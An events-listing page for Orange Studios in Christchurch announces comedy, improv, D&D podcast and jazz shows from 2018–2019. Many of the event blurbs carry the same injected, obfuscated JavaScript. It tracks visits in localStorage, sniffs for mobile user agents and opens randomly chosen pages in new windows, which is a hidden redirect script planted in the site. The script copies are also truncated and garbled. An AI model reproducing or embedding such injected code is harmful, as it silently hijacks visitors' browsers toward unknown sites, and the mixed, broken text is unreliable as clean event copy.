Coming to a Yurt near you! Step Right Up and embrace the Eastern-European-meets-dubby-roots sound of Yurt Party - clap hands to seething Gypsy and Balkan accordion rhythms, sigh to haunting violin melodies, and feel the percussive beat shake the floorboards. This is a LIVE RECORDING! Be part of the party and get your ululations and oo la las onto their debut EP. Early bird tickets $10 while stocks last. General Admission $15. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return…
Find out more »Dungeons & Comedians 5 (SOLD OUT!)
Our brave comedic adventurers delve once more into the bizarre depths of Dungeon Master Brendon Bennetts' mind. Expect monsters, traps, critical failures at crucial moments, and a whole lot of laughs. Live at Orange Studios. • Sorry this campaign is already SOLD OUT. Keep eyes open for the next show announced soon: facebook.com/DnDnComedians • Early bird tickets $15 until sold out, General Admission $20 Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. For over sixteen years Comics Compulsion…
Find out more »August 2018
Nerd Degree: Too Nerd to Handle
Join the nerds as they explore the world of nomenclature and all things name-related. They’ll be getting a handle on their handles, sorting their sobriquets from their pseudonyms, and probably getting their monikers in a twist. Nerd Degree is a live comedy panel show performed and recorded for podcast in front of a live audience on the first Wednesday of each month! Each episode sees two teams of nerdy comedians answering impossible questions about pop culture and geeky trivia, and…
Find out more »The Entertainment Company – Birthday Cabaret
The Entertainment Company is celebrating its 1st birthday and you're invited. So come along and enjoy the stunning talents of our singers and musicians.Enjoy a variety of styles and genres to showcase the versatility of our performers from "Blame it on the Boogie" to "Uptown Funk". One night only, at Orange Studios. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-|…
Find out more »Impulse Theatre: Off Book The Musical
Musicals are exciting, full of energy, and deeply emotive. But what happens when there is no script, no score? Every song is created in the moment, fuelled by emotion and driven forward by the power of the music. In their new show, “Off Book: The Musical”, Impulse Theatre are taking musical to the next level. Following on from their hugely successful show “Strangers”, the cast of Impulse Theatre are teaming up with musical genius Michael Bell to create an hour-long…
Find out more »Dungeons & Comedians 6 – SELLING OUT!
Four brave comedic adventurers journey once more into the bizarre depths of Dungeon Master Brendon Bennetts' mind. Expect monsters, traps, critical failures at crucial moments, and a whole lot of laughs. Now at a slightly later time of 8:30pm. Live at Orange Studios. Early bird tickets $15 until sold out, General Admission $20 Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. For over sixteen years Comics Compulsion has been specializing in comics, wargaming, Games Workshop, role-playing and boardgames.…
Find out more »Doona Brookbanks: You Do You Babes
Two nights: Friday 17 August 7:30pm Saturday 18 August 7:30pm Characters! Physical comedy! Weird facial movements! 2018 Billy T Nominee Donna Brookbanks is taking her signature awkward charm to new heights and bringing it back from the Comedy Festival for an exclusive 2 night run at Orange Studios. An organised chaos of stand-up, sketch, and improv comedy, you’ll leave with newly developed abs from laughing. Follow her attempts to navigate through anxious social spheres, accept the cat lady she is…
Find out more »Pangaea NZ Tour [Christchurch]
Pangaea is a unique musical collaboration between three well established international musicians who are currently residing in Delhi, India. The aim of Pangaea is to provide a fusion of the best of Western and Eastern styles. It does this through its own original song compositions as well as through re-imaginings of popular and classical tunes. The group combines the singing, compositions and classical guitar skills of New Zealander Mike Hogan with two of Delhi’s finest and most sought after young…
Find out more »Impulse Theatre: “Off Book The Musical”
Musicals are exciting, full of energy, and deeply emotive. But what happens when there is no script, no score? Every song is created in the moment, fuelled by emotion and driven forward by the power of the music. In their new show, “Off Book: The Musical”, Impulse Theatre take the musical genre to the next level. Following their hugely successful show “Strangers”, the cast of Impulse Theatre team up with musical genius Michael Bell to create an hour-long fully improvised…
Find out more »September 2018
Impulse Theatre: Off Book The Musical
Musicals are exciting, full of energy, and deeply emotive. But what happens when there is no script, no score? Every song is created in the moment, fuelled by emotion and driven forward by the power of the music. In their new show, “Off Book: The Musical”, Impulse Theatre take the musical genre to the next level. Following their hugely successful show “Strangers”, the cast of Impulse Theatre team up with musical genius Michael Bell to create an hour-long fully improvised…
Find out more »‘Dear Jane’ Rehearsed script reading of the award winning play
In association with Orange Studios and celebrating NZ Theatre Month 2018, NO Productions Company presents a rehearsed reading of “Dear Jane” written by Nataliya Oryshchuk. This one-act play won the First Prize in the Playwrights Association of New Zealand 2018 competition. It is an unusual take on the story of Jane McIlraith/Deans who emigrated from Scotland to New Zealand in the 19th century to follow her fiancé John Deans, one of the first Canterbury settlers. The script will be read…
Find out more »Impulse Theatre: Off Book The Musical
Musicals are exciting, full of energy, and deeply emotive. But what happens when there is no script, no score? Every song is created in the moment, fuelled by emotion and driven forward by the power of the music. In their new show, “Off Book: The Musical”, Impulse Theatre take the musical genre to the next level. Following their hugely successful show “Strangers”, the cast of Impulse Theatre team up with musical genius Michael Bell to create an hour-long fully improvised…
Find out more »Bart Stenhouse & Nigel Date – Flamenco/Gypsy Jazz Tour
Join Australian flamenco jazz multi-instrumentalist Bart Stenhouse (Lulo Reinhardt (Germany), Paco Heredia (Spain), Surojato Roy) as he tours with one of Australia's best gypsy jazz guitarists Nigel Date (Sydney) for their debut tour together exploring the many realms of the guitar in concert - gypsy jazz, flamenco, jazz, bossa nova, jazz fusion and much more! Not to be missed. More info at bartstenhouse.com function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return…
Find out more »November 2018
Dungeons & Comedians: School of Magic
Dungeon Master Brendon Bennetts takes our band of comedic adventurers back to school: Magic School! Expect wands, wizards, and witticisms in this thrilling new adventure! Live at Orange Studios. Early bird tickets $15 until sold out, General Admission $20 Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. For over sixteen years Comics Compulsion has been specializing in comics, wargaming, Games Workshop, role-playing and boardgames. www.comicscompulsion.com function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const…
Find out more »December 2018
Nerd Degree: Famous Last Nerds
The nerds celebrate (or commiserate) the end of the year with a look and endings and end times. Will the nerds get their happily ever after? Will it be the end of the nerd as we know it? And - most importantly - will there be a post-credits scene that sets up the next series? Hosted by Dr. Erin Harrington. Nerd Degree is a live comedy panel show performed and recorded for podcast in front of a live audience on…
Find out more »Impulse Theatre: Grave Danger
In the forgotten places of New Zealand, a secret battle is being fought between the living and the dead. When people start to go missing from a small South Island town, a pair of paranormal investigators risk their very souls to uncover the truth. Dark forces are at work, and the stakes could not be higher. This improvised horror story will have you screaming with laughter. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const…
Find out more »Classical Jazz Quartet – Live @ Orange
From a dazzling display of virtuosity to intriguing sultry warmth, from mellow moments to upbeat swing, this is the concert that will keep you smiling into the weeks ahead! Described as “sonic fireworks that dazzle with all their brilliance” and “characterized by inspirational musicianship,” the Classical Jazz Quartet brings an eclectic mix of classical music infused with the fun and rhythmic energy of jazz. CJQ will showcase music from the swing era, to Jerome Kern, to their own creative and…
Find out more »Ella Dunbar-Wilcox with the Umar Zakaria Trio
Ella's back! Christchurch's own Ella Dunbar-Wilcox presents a programme of jazz standards, fresh from her recent experiences at the New Zealand School of Music and the NZ Youth Jazz Orchestra. Expect a combination of simply swinging favorites as well as never-before-heard arrangements by Tui award-winning bassist and composer Umar Zakaria. Ella Dunbar-Wilcox was born in Christchurch and was a member of the Burnside High School’s Specialist Music Programme. Ella was the vocalist for the National Youth Jazz Orchestra in 2015…
Find out more »Off Book The Musical: Christmas Special
Impulse Theatre's hit musical takes on a Christmas twist, and this will be one Christmas tale unlike any you've seen before, featuring completely original Christmas songs. Never heard before, and probably best never heard again. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window(_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else…
Find out more »Dungeons & Comedians: Christmas Special
Merry Crit-mas! Our comedians are back for a very special holiday D&D adventure. Gather your nearest and dearest, cast prestidigitation on the yule log, and hope that those presents under the tree aren’t actually mimics. Live at Orange Studios. Early bird tickets $15 until sold out, General Admission $20 from Eventbrite Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. For over sixteen years Comics Compulsion has been specializing in comics, wargaming, Games Workshop, role-playing and boardgames. www.comicscompulsion.com NB:…
Find out more »February 2019
It’s Mackenzie Country…Obviously
Mackenzie Mckenzie is like, totez, the cutest girl EVER. TBH the fact that you are even asking who she is, is like, kind of embarrassing. But don't make this about you - This is Mackenzie's Show. Join The PlaySpace Theatre Co. in exploring Mackenzie Mckenzie 's glamorous life - This larger than life character is created & performed by comedian Jess Jean and has gained rave reviews: 'Hilarious & Empowering' 'I loved it.' 'Paying homage to the basic b*tch, with…
Find out more »Dungeons & Comedians: Crawl of the Wild
After a long rest, Dungeons & Comedians is back and better than ever. Dungeon Master Brendon Bennetts will lead our comedic adventurers out into the wilderness, where they must survive on their wits alone. So, probably someone is going to die. Live at Orange Studios. Early bird tickets $15 until sold out, General Admission $20 In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the others,…
Find out more »Unwind – The Orange Tour: Hayden Chisholm (Christchurch)
Unwind is saxophonist Hayden Chisholm’s New Zealand-based project, and tours annually. The group performs original music that, although flavoured by chamber music, Indian raga and various folk traditions, is somewhere close to the republic of jazz. Joining Hayden is renowned bassist Paul Dyne (Sustenance, Mike Nock, Malcolm McNeill) and pianist and composer Norman Meehan. In 2019 their summer tour will introduce audiences to percussion master Julien Dyne (Ladi6, Fat Freddies Drop), the most recent addition to the group. Limited earlybird…
Find out more »March 2019
Impulse Theatre: Off Book – The Musical
Impulse Theatre's hit improvised musical! Rousing, magnificent, and a little bit silly. Impulse Theatre's talented actors weave together a fully improvised musical that is sure to delight. This sensational hour-long show will send you home humming tunes no one has ever heard before. “Delivered with confidence and wit” – Theatreview “Amazing! I walked out with a sore face from all the laughter.” – audience review. Tickets $15 GA or $10 Concession via iticket.co.nz function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const…
Find out more »Simon Kempston (SCT) LIVE AT ORANGE
Unique talent performing thought-provoking, evocative original songs in a wonderfully intimate setting. His beautifully crafted, folk-tinged material showcases his incredible, distinctive and intricate fingerstyle guitar work, an exciting blend of the folk-baroque, blues and classical styles, and his gently nuanced, compelling tenor vocals. An inspiring poetic lyricist, Simon's live performances are intense and impassioned, the subject matter chiefly Scottish, yet with universal appeal. This first-time Christchurch concert is not to be missed. 'One of Scotland's very best singer-songwriters' (Sunday Herald).…
Find out more »Ray Shipley: All This Crying Is Making Me Hungry (Christchurch)
Ray Shipley presents their new show, All This Crying Is Making Me Hungry, for the very first time! All This Crying Is Making Me Hungry is (hopefully) a comedy show about Ray and their girlfriend and how much they love each other and how difficult it is to maintain a healthy relationship when you find it hard to leave the house and your jobs are weird and your families are intense and the icecaps are melting. It's a love story…
Find out more »Jan Preston Trio: 88 Pianos I Have Known (Christchurch)
JAN PRESTON is a knockout boogie pianist with a rich resonant voice who has captured audiences around the world with her originality, her energy, and her sparkling charm and gentle wit. From a background in classical music with a long-term interest in composition and song writing, her early career began in NZ with the 1980 No 1 Hit Band Coup D’Etat. Winner of 5 music awards, Jan has now sold out concerts throughout Australia, NZ, Europe and the UK, composes…
Find out more »River Ghost
Love a good ghost story? NO Productions Theatre has a new treat for you! Written by David Allen and directed by Eilish Moran, this absorbing supernatural thriller is set in 19th century New Zealand, on the banks of Waimakariri, river of cold rushing water. Following its premier at the Rangiora Town Hall, it will be performed and filmed in Christchurch, in the intimate venue of Orange Studios, for one night only! …He has lost his memory. She has him back.…
Find out more »Dungeons & Comedians 12
Join adventurers, Belt (Emma Cusdin), Trixie Abernathy (Aaron Jelley), Li'l Sneaks (Emma Brittenden) and a 4th player yet to be determined lead by Dungeon Master Brendon Bennetts for the next live recording. More details and the full lineup announced soon, but if you want to make sure you get a ticket, you can get it now! In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the…
Find out more »April 2019
Off Book The Musical
Impulse Theatre's hit improvised musical! Back from the Dunedin Fringe, Impulse Theatre's daring improvisers weave together a fully improvised musical that is sure to delight. This sensational hour-long show will send you home humming tunes no one has ever heard before. “Delivered with confidence and wit” – Theatreview “Amazing! I walked out with a sore face from all the laughter.” – audience review. Tickets $15 General Admission or $10 Concession (Student I.D./ 65+) or get a group together of 4…
Find out more »Mehana [SOLD OUT]
Playing music from the crossroads of Europe; Serbia, Bosnia, Macedonia and beyond, Wellington based ensemble Mehana stop in for a one-night-only show in Christchurch. Influenced by traditional Balkan and gypsy music styles, rich and colorful melodies with curious rhythms this afternoon concert in an intimate studio setting will range from the melancholy of sevdah to fast-paced, high-energy dance tunes. Come and take your place on Mehana's magic carpet, to be swept away to a bittersweet alternate universe contained only in…
Find out more »ANTIPODES NZ TOUR (Christchurch)
Antipodes is a collective of New Zealand and Australian jazz musicians playing original compositions that emphasise melody, emotive soundscapes, and an open improvisational aesthetic. The music draws from diverse influences – modern New York jazz meets Swedish indie pop and European free improvised music. Audiences are first drawn in by introspective, timbral improvisations and then set to foot-tapping with danceable beats, songlike melodies and fiery solos. Hot off the back of an extensive tour celebrating the release of their debut…
Find out more »Dungeons & Comedians: Lost at Sea
The adventurers take to the high seas for their usual mischief and mayhem (but wetter). Please note: doors open at 5:30pm and there's earlier start time of 6:30pm for our double bill night with Jack Ansett's stand up show following at 9pm. In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the others, you can enjoy each one on their own. You can listen to previous…
Find out more »Jack Ansett: In His Prime (work in progress)
•••••••• EARLYBIRD SPECIAL: First 10 tickets only $8 each! ••••••••• Jack Ansett is getting ready to perform in the 2019 NZ International Comedy Festival - and is first bringing the giggles to Christchurch in this Work in Progress show. Jack, (as seen on 'that KFC ad') is now 21, and has reached his peak in life. It's only downward from here, and Jack wants you to hear him complain about it. So, if you're over 30 and want to feel…
Find out more »Tamara Kuldin Trio
‘Sultry, sassy, cheeky-Tamara Kuldin is all that and much more. A jazz seductress with a honey-rich voice that soothes and captivates.’ Australianjazz.net Acclaimed Australian vocalist Tamara Kuldin has been captivating audiences from Melbourne to Europe with her playful, sultry and heartfelt interpretation of songs from The Great American Songbook to lesser known vintage jazz & blues gems. Enamoured by the romance and sophistication of the golden era of song, Tamara’s vocal prowess and versatility has endeared her to some of…
Find out more »May 2019
Simple Truth Theatre presents: An Unseasonable Fall of Snow
Written by Gary Henderson in 1998 the play is a raw and compelling investigation of human life. "A bewildered young man is questioned by a ruthless interrogator - who forces him to an awful confession..." Simple Truth Theatre are kicking of their national tour in style in partnership with Orange Studios in Christchurch. Tickets are on an early bird sale for $16 LIMITED TIME ONLY SO GET IN QUICK (GA $22) Book at iticket.co.nz or Call 0508 484 253 or…
Find out more »Mark Donlon Quintet – Live at Orange
Mark Donlon (senior lecturer in jazz at New Zealand School of Music) brings a vibrant band of leading jazz musicians to Christchurch's studio venue, Orange Studios. Mark has performed with artists such as George Coleman, The Machito Orchestra, Maceo Parker, Dave Valentin, Dave Liebman, Kenny Wheeler and Norma Winstone, to mention a few. He has also had a significant involvement in Afro-Cuban music and Latin Jazz, performing with leading international figures from that idiom in the USA and Europe. The…
Find out more »Nerd Degree: Alien Anniversary Edition
Exactly 40 years ago, Alien burst out of a rubber egg and into our collective hearts/chest cavities. To celebrate this pop culture milestone the nerds are doing a deep dive into all things Alien from original fan fiction, to unexpected conspiracy theories and obscure behind the scenes trivia. Come along and share the love for this sci fi classic. (This message has been approved by The Weyland-Yutani Corporation.) Tickets GA $15 or $10 Concession (Student I.D. / 65+) or DOUBLE…
Find out more »Dungeons & Comedians: Perol’s Peril
We left our adventurer's adrift in the middle of the ocean. Assuming they haven't resorted to cannibalism in the intervening weeks, they will finally get a chance to strike back against the sinister corporation that has been plaguing them for months: PelorCorp. Join Dungeon Master Brendon Bennetts and the adventurers for the next live recorded podcast at Orange Studios. Tickets $15 Early Bird (for a limited time) & $20 GA or DOUBLE BILL COMBO NIGHT $25! Nerd Degree: Alien Anniversary…
Find out more »June 2019
TTTenor: Andy Sugg, John Mackey & Roger Manins – Live at Orange
Three of the most exciting tenor saxophone players in Australasia — Sugg, Mackey and Manins — come together for the first time in the powerhouse group TTTenor. Playing originals and standards especially arranged for the three-tenor frontline, this unique sextet features jazz improvisation at its very best … hard-blowing post-Trane soloing and collective improvisation. Featuring Andy Sugg saxophone John Mackey saxophone Roger Manins saxophone Kevin Field piano Cameron McArthur bass Mark Lockett drums Tickets available via iTICKET function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return…
Find out more »July 2019
Dungeons & Comedians Ep. 15
Join Dungeon Master Brendon Bennetts and the adventurers for the next live recorded podcast at Orange Studios. In Dungeons & Comedians you will see comedians play D&D in front of a live audience. While each adventure is is connected to the others, you can enjoy each one on their own. You can listen to previous episodes on your podcast app by searching 'Dungeons & Comedians' or going to dungeonsandcomedians.com Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. function…
